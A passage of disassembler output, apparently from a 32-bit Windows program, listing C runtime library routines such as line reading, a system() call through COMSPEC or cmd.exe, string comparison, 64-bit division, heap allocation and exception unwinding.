arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_42B09B xor eax, eax jmp short loc_42B0E5 ; --------------------------------------------------------------------------- loc_42B09B: ; CODE XREF: sub_42B087+Ej push esi mov esi, [ebp+arg_8] push esi call sub_42C1D4 pop ecx loc_42B0A6: ; CODE XREF: sub_42B087+46j dec [ebp+arg_4] jz short loc_42B0D8 dec dword ptr [esi+4] js short loc_42B0BA mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_42B0C1 ; --------------------------------------------------------------------------- loc_42B0BA: ; CODE XREF: sub_42B087+27j push esi call sub_42F3E2 pop ecx loc_42B0C1: ; CODE XREF: sub_42B087+31j cmp eax, 0FFFFFFFFh jz short loc_42B0CF mov [edi], al inc edi cmp al, 0Ah jz short loc_42B0D8 jmp short loc_42B0A6 ; --------------------------------------------------------------------------- loc_42B0CF: ; CODE XREF: sub_42B087+3Dj cmp edi, [ebp+arg_0] jnz short loc_42B0D8 xor ebx, ebx jmp short loc_42B0DB ; --------------------------------------------------------------------------- loc_42B0D8: ; CODE XREF: sub_42B087+22j ; sub_42B087+44j ... and byte ptr [edi], 0 loc_42B0DB: ; CODE XREF: sub_42B087+4Fj push esi call sub_42C226 pop ecx mov eax, ebx pop esi loc_42B0E5: ; CODE XREF: sub_42B087+12j pop edi pop ebx pop ebp retn sub_42B087 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B0E9 proc near ; CODE XREF: sub_40A9FE+46CDp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push esi push edi push offset aComspec ; "COMSPEC" call sub_4312C2 pop ecx xor esi, esi mov ecx, [ebp+arg_0] mov [ebp+var_10], eax cmp ecx, esi jnz short loc_42B120 cmp eax, esi jnz short loc_42B110 xor eax, eax jmp short loc_42B187 ; --------------------------------------------------------------------------- loc_42B110: ; CODE XREF: sub_42B0E9+21j push esi push eax call sub_42A6C0 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_42B187 ; --------------------------------------------------------------------------- loc_42B120: ; CODE XREF: sub_42B0E9+1Dj cmp eax, esi mov [ebp+var_C], offset dword_437450 mov [ebp+var_8], ecx mov [ebp+var_4], esi jz short loc_42B15F lea ecx, [ebp+var_10] push esi push ecx push eax push esi call sub_431128 mov edi, eax add esp, 10h cmp edi, 0FFFFFFFFh jnz short loc_42B15B call sub_42F119 cmp dword ptr [eax], 2 jz short loc_42B15F call sub_42F119 cmp dword ptr [eax], 0Dh jz short loc_42B15F loc_42B15B: ; CODE XREF: sub_42B0E9+5Cj mov eax, edi jmp short loc_42B187 ; --------------------------------------------------------------------------- loc_42B15F: ; CODE XREF: sub_42B0E9+46j ; sub_42B0E9+66j ... test byte_6769D1, 80h mov [ebp+var_10], offset dword_437444 jnz short loc_42B176 mov [ebp+var_10], offset aCmd_exe ; "cmd.exe" loc_42B176: ; CODE XREF: sub_42B0E9+84j lea eax, [ebp+var_10] push esi push eax push [ebp+var_10] push esi call sub_430FC3 add esp, 10h loc_42B187: ; CODE XREF: sub_42B0E9+25j ; sub_42B0E9+35j ... pop edi pop esi leave retn sub_42B0E9 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_42B1A0 loc_42B190: ; CODE XREF: sub_42B1A0+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_42B1A0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_42B1A0 proc near ; CODE XREF: sub_40A9FE+4682p ; sub_40A9FE+603Fp ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0042B190 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_42B1A6: ; CODE XREF: sub_42AEA0+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_42B1CB loc_42B1B8: ; CODE XREF: sub_42B1A0+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_42B190 test cl, cl jz short loc_42B214 test edx, 3 jnz short loc_42B1B8 loc_42B1CB: ; CODE XREF: sub_42B1A0+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_42B1D6: ; CODE XREF: sub_42B1A0+61j ; sub_42B1A0+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_42B218 and eax, 81010100h jz short loc_42B1D6 and eax, 1010100h jnz short loc_42B212 and esi, 80000000h jnz short loc_42B1D6 loc_42B212: ; CODE XREF: sub_42B1A0+68j ; sub_42B1A0+81j ... pop esi pop edi loc_42B214: ; CODE XREF: sub_42B1A0+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_42B218: ; CODE XREF: sub_42B1A0+5Aj mov eax, [edx-4] cmp al, bl jz short loc_42B255 test al, al jz short loc_42B212 cmp ah, bl jz short loc_42B24E test ah, ah jz short loc_42B212 shr eax, 10h cmp al, bl jz short loc_42B247 test al, al jz short loc_42B212 cmp ah, bl jz short loc_42B240 test ah, ah jz short loc_42B212 jmp short loc_42B1D6 ; --------------------------------------------------------------------------- loc_42B240: ; CODE XREF: sub_42B1A0+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_42B247: ; CODE XREF: sub_42B1A0+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_42B24E: ; CODE XREF: sub_42B1A0+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_42B255: ; CODE XREF: sub_42B1A0+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_42B1A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_42B260 proc near ; CODE XREF: sub_40A9FE+A4Cp ; sub_431658+26p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_42B2AC loc_42B270: ; CODE XREF: sub_42B260+3Cj ; sub_42B260+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_42B2A4 or al, al jz short loc_42B2A0 cmp ah, [ecx+1] jnz short loc_42B2A4 or ah, ah jz short loc_42B2A0 shr eax, 10h cmp al, [ecx+2] jnz short loc_42B2A4 or al, al jz short loc_42B2A0 cmp ah, [ecx+3] jnz short loc_42B2A4 add ecx, 4 add edx, 4 or ah, ah jnz short loc_42B270 mov edi, edi loc_42B2A0: ; CODE XREF: sub_42B260+18j ; sub_42B260+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_42B2A4: ; CODE XREF: sub_42B260+14j ; sub_42B260+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_42B2AC: ; CODE XREF: sub_42B260+Ej test edx, 1 jz short loc_42B2C8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_42B2A4 inc ecx or al, al jz short loc_42B2A0 test edx, 2 jz short loc_42B270 loc_42B2C8: ; CODE XREF: sub_42B260+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_42B2A4 or al, al jz short loc_42B2A0 cmp ah, [ecx+1] jnz short loc_42B2A4 or ah, ah jz short loc_42B2A0 add ecx, 2 jmp short loc_42B270 sub_42B260 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_42B2F0 proc near ; CODE XREF: sub_40A9FE+190Fp ; sub_418FA1+10Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_42B311 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_42B311: ; CODE XREF: sub_42B2F0+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_42B32D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_42B32D: ; CODE XREF: sub_42B2F0+27j or eax, eax jnz short loc_42B349 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_42B38A ; --------------------------------------------------------------------------- loc_42B349: ; CODE XREF: sub_42B2F0+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_42B357: ; CODE XREF: sub_42B2F0+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_42B357 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_42B385 cmp edx, [esp+0Ch+arg_4] ja short loc_42B385 jb short loc_42B386 cmp eax, [esp+0Ch+arg_0] jbe short loc_42B386 loc_42B385: ; CODE XREF: sub_42B2F0+85j ; sub_42B2F0+8Bj dec esi loc_42B386: ; CODE XREF: sub_42B2F0+8Dj ; sub_42B2F0+93j xor edx, edx mov eax, esi loc_42B38A: ; CODE XREF: sub_42B2F0+57j dec edi jnz short loc_42B394 neg edx neg eax sbb edx, 0 loc_42B394: ; CODE XREF: sub_42B2F0+9Bj pop ebx pop esi pop edi retn 10h sub_42B2F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B39A proc near ; CODE XREF: sub_415506+5p ; sub_418AD3+19Cp ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0042B43C SIZE 0000007B BYTES ; FUNCTION CHUNK AT 0042B4C5 SIZE 00000012 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_437460 push offset sub_42ADC4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] mov [ebp+arg_4], esi mov [ebp+var_1C], esi cmp esi, 0FFFFFFE0h ja short loc_42B3E3 xor ebx, ebx cmp esi, ebx jnz short loc_42B3D8 push 1 pop esi loc_42B3D8: ; CODE XREF: sub_42B39A+39j add esi, 0Fh and esi, 0FFFFFFF0h mov [ebp+arg_4], esi jmp short loc_42B3E5 ; --------------------------------------------------------------------------- loc_42B3E3: ; CODE XREF: sub_42B39A+33j xor ebx, ebx loc_42B3E5: ; CODE XREF: sub_42B39A+47j ; sub_42B39A+115j mov [ebp+var_20], ebx cmp esi, 0FFFFFFE0h ja loc_42B499 mov eax, dword_677004 cmp eax, 3 jnz short loc_42B43C mov edi, [ebp+var_1C] cmp edi, dword_676FFC ja short loc_42B482 push 9 call sub_42DAEF pop ecx mov [ebp+var_4], ebx push edi call sub_42CC4E pop ecx mov [ebp+var_20], eax or [ebp+var_4], 0FFFFFFFFh call sub_42B433 cmp [ebp+var_20], ebx jz short loc_42B487 push [ebp+var_1C] jmp short loc_42B476 sub_42B39A endp ; =============== S U B R O U T I N E ======================================= sub_42B42E proc near ; DATA XREF: .text:00437468o xor ebx, ebx mov esi, [ebp+0Ch] sub_42B42E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42B433 proc near ; CODE XREF: sub_42B39A+85p push 9 call sub_42DB50 pop ecx retn sub_42B433 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B39A loc_42B43C: ; CODE XREF: sub_42B39A+5Fj cmp eax, 2 jnz short loc_42B482 cmp esi, dword_453174 ja short loc_42B482 push 9 call sub_42DAEF pop ecx mov [ebp+var_4], 1 mov eax, esi shr eax, 4 push eax call sub_42D6F1 pop ecx mov [ebp+var_20], eax or [ebp+var_4], 0FFFFFFFFh call sub_42B4BC cmp [ebp+var_20], ebx jz short loc_42B487 push esi loc_42B476: ; CODE XREF: sub_42B39A+92j push ebx push [ebp+var_20] call sub_429760 add esp, 0Ch loc_42B482: ; CODE XREF: sub_42B39A+6Aj ; sub_42B39A+A5j ... cmp [ebp+var_20], ebx jnz short loc_42B4C5 loc_42B487: ; CODE XREF: sub_42B39A+8Dj ; sub_42B39A+D9j push esi push 8 push dword_677000 call dword_437210 ; RtlAllocateHeap mov [ebp+var_20], eax loc_42B499: ; CODE XREF: sub_42B39A+51j cmp [ebp+var_20], ebx jnz short loc_42B4C5 cmp dword_676930, ebx jz short loc_42B4C5 push esi call sub_42C6C5 pop ecx test eax, eax jnz loc_42B3E5 jmp short loc_42B4C8 ; END OF FUNCTION CHUNK FOR sub_42B39A ; =============== S U B R O U T I N E ======================================= sub_42B4B7 proc near ; DATA XREF: .text:00437474o xor ebx, ebx mov esi, [ebp+0Ch] sub_42B4B7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42B4BC proc near ; CODE XREF: sub_42B39A+D1p push 9 call sub_42DB50 pop ecx retn sub_42B4BC endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B39A loc_42B4C5: ; CODE XREF: sub_42B39A+EBj ; sub_42B39A+102j ... mov eax, [ebp+var_20] loc_42B4C8: ; CODE XREF: sub_42B39A+11Bj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR sub_42B39A ; =============== S U B R O U T I N E ======================================= sub_42B4D7 proc near ; CODE XREF: sub_4155AA+Fp ; sub_4155AA+30p ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_4297CA pop ecx pop ecx retn sub_42B4D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B4E5 proc near ; CODE XREF: sub_431769+71p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_42B4E5 endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_42B519 proc near ; CODE XREF: sub_431929+199p ; sub_431AED+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_42B519 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42B520 proc near ; CODE XREF: sub_431929+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_42B520 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B527 proc near ; CODE XREF: sub_42B6DB+5Cp ; sub_431769:loc_43179Ap var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_42B54F push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_436300 ; RtlUnwind loc_42B54F: ; DATA XREF: sub_42B527+11o mov eax, [ebp+arg_4] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+arg_4] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp+var_8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 sub_42B527 endp ; --------------------------------------------------------------------------- loc_42B576: ; CODE XREF: .text:00436317j ; .text:00436329j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_431360 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B5AC proc near ; CODE XREF: sub_4317E4+7Bp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_42B600 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_431B80 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_42B5AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B600 proc near ; DATA XREF: sub_42B5AC+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_431360 add esp, 20h pop ebp retn sub_42B600 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B625 proc near ; CODE XREF: sub_4315AE+27p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_42B6DB mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_42B6AD mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call sub_42E4EE call dword ptr [eax+68h] pop ecx pop ecx and [ebp+var_34], 0 loc_42B6AD: ; DATA XREF: sub_42B625+3Co cmp [ebp+var_4], 0 jz short loc_42B6CA mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_42B6D3 ; --------------------------------------------------------------------------- loc_42B6CA: ; CODE XREF: sub_42B625+8Cj mov eax, [ebp+var_28] mov large fs:0, eax loc_42B6D3: ; CODE XREF: sub_42B625+A3j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_42B625 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B6DB proc near ; DATA XREF: sub_42B625+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_42B6FE mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_42B74B ; --------------------------------------------------------------------------- loc_42B6FE: ; CODE XREF: sub_42B6DB+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_431360 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_42B73C push [ebp+arg_0] push [ebp+arg_4] call sub_42B527 loc_42B73C: ; CODE XREF: sub_42B6DB+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_42B74B: ; CODE XREF: sub_42B6DB+21j pop edi pop esi pop ebx pop ebp retn sub_42B6DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B750 proc near ; CODE XREF: sub_4313FB+D2p ; sub_4315AE+45p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_42B7A7 loc_42B76E: ; CODE XREF: sub_42B750+52j cmp esi, 0FFFFFFFFh jnz short loc_42B778 call sub_431C2D loc_42B778: ; CODE XREF: sub_42B750+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_42B78D cmp ecx, [eax+8] jle short loc_42B792 loc_42B78D: ; CODE XREF: sub_42B750+36j cmp esi, 0FFFFFFFFh jnz short loc_42B79E loc_42B792: ; CODE XREF: sub_42B750+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_42B79E: ; CODE XREF: sub_42B750+40j cmp [ebp+arg_4], 0 jge short loc_42B76E mov eax, [ebp+var_4] loc_42B7A7: ; CODE XREF: sub_42B750+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_42B7BB cmp esi, eax jbe short loc_42B7C0 loc_42B7BB: ; CODE XREF: sub_42B750+65j call sub_431C2D loc_42B7C0: ; CODE XREF: sub_42B750+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_42B750 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_42B7CC proc near ; CODE XREF: sub_4155AA+5p ; sub_41985D+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_42B7CC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42B7EB proc near ; CODE XREF: sub_42B869+4p arg_0 = dword ptr 4 push esi call sub_430BFB push dword_676ED4 call sub_431FB2 mov edx, dword_676ED4 pop ecx mov ecx, dword_676ED0 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi jnb short loc_42B851 push edx call sub_431FB2 add eax, 10h push eax push dword_676ED4 call sub_431C83 add esp, 0Ch test eax, eax jnz short loc_42B834 xor esi, esi jmp short loc_42B860 ; --------------------------------------------------------------------------- loc_42B834: ; CODE XREF: sub_42B7EB+43j mov ecx, dword_676ED0 sub ecx, dword_676ED4 mov dword_676ED4, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_676ED0, ecx loc_42B851: ; CODE XREF: sub_42B7EB+27j mov eax, [esp+4+arg_0] mov [ecx], eax add dword_676ED0, 4 mov esi, eax loc_42B860: ; CODE XREF: sub_42B7EB+47j call sub_430C04 mov eax, esi pop esi retn sub_42B7EB endp ; =============== S U B R O U T I N E ======================================= sub_42B869 proc near ; CODE XREF: sub_418D66+19p ; sub_429247+5p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_42B7EB neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_42B869 endp ; =============== S U B R O U T I N E ======================================= sub_42B87B proc near ; DATA XREF: .text:0043A018o push 80h call sub_4297B8 test eax, eax pop ecx mov dword_676ED4, eax jnz short loc_42B89C push 18h call sub_42C67C mov eax, dword_676ED4 pop ecx loc_42B89C: ; CODE XREF: sub_42B87B+12j and dword ptr [eax], 0 mov eax, dword_676ED4 mov dword_676ED0, eax retn sub_42B87B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B8AA proc near ; CODE XREF: sub_4197A9+20p ; sub_41C4E4+20p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_42DC7D add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_42B8E8 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_42B8F5 ; --------------------------------------------------------------------------- loc_42B8E8: ; CODE XREF: sub_42B8AA+34j lea eax, [ebp+var_20] push eax push 0 call sub_42DB65 pop ecx pop ecx loc_42B8F5: ; CODE XREF: sub_42B8AA+3Cj mov eax, esi pop esi leave retn sub_42B8AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B8FA proc near ; CODE XREF: sub_41B1F5+54p ; sub_41B2BC+18p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_437478 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call dword_437234 ; RaiseException pop edi pop esi leave retn 8 sub_42B8FA endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B940 proc near ; CODE XREF: sub_419B11+C8p ; sub_42C70D+93p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_42B971 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_42B96F jz short loc_42B971 dec ecx dec ecx loc_42B96F: ; CODE XREF: sub_42B940+29j not ecx loc_42B971: ; CODE XREF: sub_42B940+9j ; sub_42B940+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_42B940 endp ; =============== S U B R O U T I N E ======================================= sub_42B978 proc near ; DATA XREF: .text:off_43749Co arg_0 = byte ptr 4 push esi mov esi, ecx call sub_42BA1B test [esp+4+arg_0], 1 jz short loc_42B98E push esi call sub_4290D0 pop ecx loc_42B98E: ; CODE XREF: sub_42B978+Dj mov eax, esi pop esi retn 4 sub_42B978 endp ; =============== S U B R O U T I N E ======================================= sub_42B994 proc near ; CODE XREF: sub_41B24F+1Fp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_43749C push dword ptr [edi] call sub_4293A0 inc eax push eax call sub_42B4D7 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42B9C3 push dword ptr [edi] push eax call sub_42A5D0 pop ecx pop ecx loc_42B9C3: ; CODE XREF: sub_42B994+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_42B994 endp ; =============== S U B R O U T I N E ======================================= sub_42B9D1 proc near ; CODE XREF: sub_41B332+17p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_43749C mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_42BA0E push dword ptr [edi+4] call sub_4293A0 inc eax push eax call sub_42B4D7 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42BA14 push dword ptr [edi+4] push eax call sub_42A5D0 pop ecx pop ecx jmp short loc_42BA14 ; --------------------------------------------------------------------------- loc_42BA0E: ; CODE XREF: sub_42B9D1+16j mov eax, [edi+4] 